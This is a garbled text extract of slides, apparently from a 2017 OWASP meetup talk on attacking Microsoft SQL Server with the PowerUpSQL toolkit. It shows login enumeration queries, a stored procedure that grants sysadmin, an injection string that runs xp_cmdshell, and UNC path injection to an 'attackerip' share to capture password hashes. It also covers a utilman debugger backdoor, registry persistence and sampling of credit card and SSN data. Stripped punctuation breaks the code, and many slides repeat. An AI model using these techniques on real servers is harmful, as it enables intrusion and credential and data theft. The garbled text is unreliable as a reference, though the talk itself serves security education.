Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 32: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

